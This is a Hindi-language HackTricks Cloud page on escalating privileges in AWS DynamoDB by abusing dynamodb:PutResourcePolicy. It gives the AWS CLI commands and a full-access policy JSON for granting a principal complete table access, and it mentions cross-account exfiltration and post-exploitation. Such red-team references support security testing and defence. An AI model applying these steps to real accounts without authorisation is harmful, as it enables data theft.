AWS - DynamoDB Privesc
Reading time: 4 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
dynamodb
DynamoDB के बारे में अधिक जानकारी के लिए देखें:
dynamodb:PutResourcePolicy
, और वैकल्पिक रूप से dynamodb:GetResourcePolicy
मार्च 2024 से, AWS resource based policies के लिए DynamoDB प्रदान करता है (AWS News)।
तो, यदि आपके पास किसी तालिका के लिए dynamodb:PutResourcePolicy
है, तो आप बस अपने आप या किसी अन्य प्रिंसिपल को तालिका तक पूर्ण पहुंच दे सकते हैं।
किसी यादृच्छिक प्रिंसिपल को dynamodb:PutResourcePolicy
देना अक्सर गलती से होता है, यदि व्यवस्थापक सोचते हैं कि dynamodb:Put*
देने से केवल प्रिंसिपल को डेटाबेस में आइटम डालने की अनुमति मिलेगी - या यदि उन्होंने मार्च 2024 से पहले वह अनुमति सेट दी थी...
आदर्श रूप से, आपके पास dynamodb:GetResourcePolicy
भी होना चाहिए, ताकि आप अन्य संभावित महत्वपूर्ण अनुमतियों को अधिलेखित न करें, बल्कि केवल उन अतिरिक्त अनुमतियों को इंजेक्ट करें जिनकी आपको आवश्यकता है:
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json
यदि आप वर्तमान नीति को पुनः प्राप्त नहीं कर सकते हैं, तो बस इस नीति का उपयोग करें जो आपके प्रिंसिपल को तालिका पर पूर्ण पहुंच प्रदान करती है:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}
यदि आपको इसे अनुकूलित करने की आवश्यकता है, तो यहाँ सभी संभावित DynamoDB क्रियाओं की एक सूची है: AWS Documentation। और यहाँ सभी क्रियाओं की एक सूची है जिन्हें संसाधन आधारित नीति के माध्यम से अनुमति दी जा सकती है और इनमें से कौन सी क्रियाएँ क्रॉस-खाता उपयोग के लिए उपलब्ध हैं (डेटा निकासी के बारे में सोचें!): AWS Documentation
अब, नीति दस्तावेज़ policy.json
तैयार है, संसाधन नीति डालें:
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"
अब, आपके पास आवश्यक अनुमतियाँ होनी चाहिए।
पोस्ट एक्सप्लोइटेशन
जितना मुझे पता है, AWS में केवल कुछ AWS dynamodb
अनुमतियाँ होने से विशेषाधिकार बढ़ाने का कोई अन्य सीधा तरीका नहीं है। आप तालिकाओं से संवेदनशील जानकारी पढ़ सकते हैं (जिसमें AWS क्रेडेंशियल्स हो सकते हैं) और तालिकाओं पर जानकारी लिख सकते हैं (जो अन्य कमजोरियों को ट्रिगर कर सकता है, जैसे कि लैम्ब्डा कोड इंजेक्शन...) लेकिन ये सभी विकल्प पहले से ही DynamoDB पोस्ट एक्सप्लोइटेशन पृष्ठ में विचारित हैं:
AWS - DynamoDB Post Exploitation
TODO: डेटा स्ट्रीम का दुरुपयोग करके डेटा पढ़ें
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।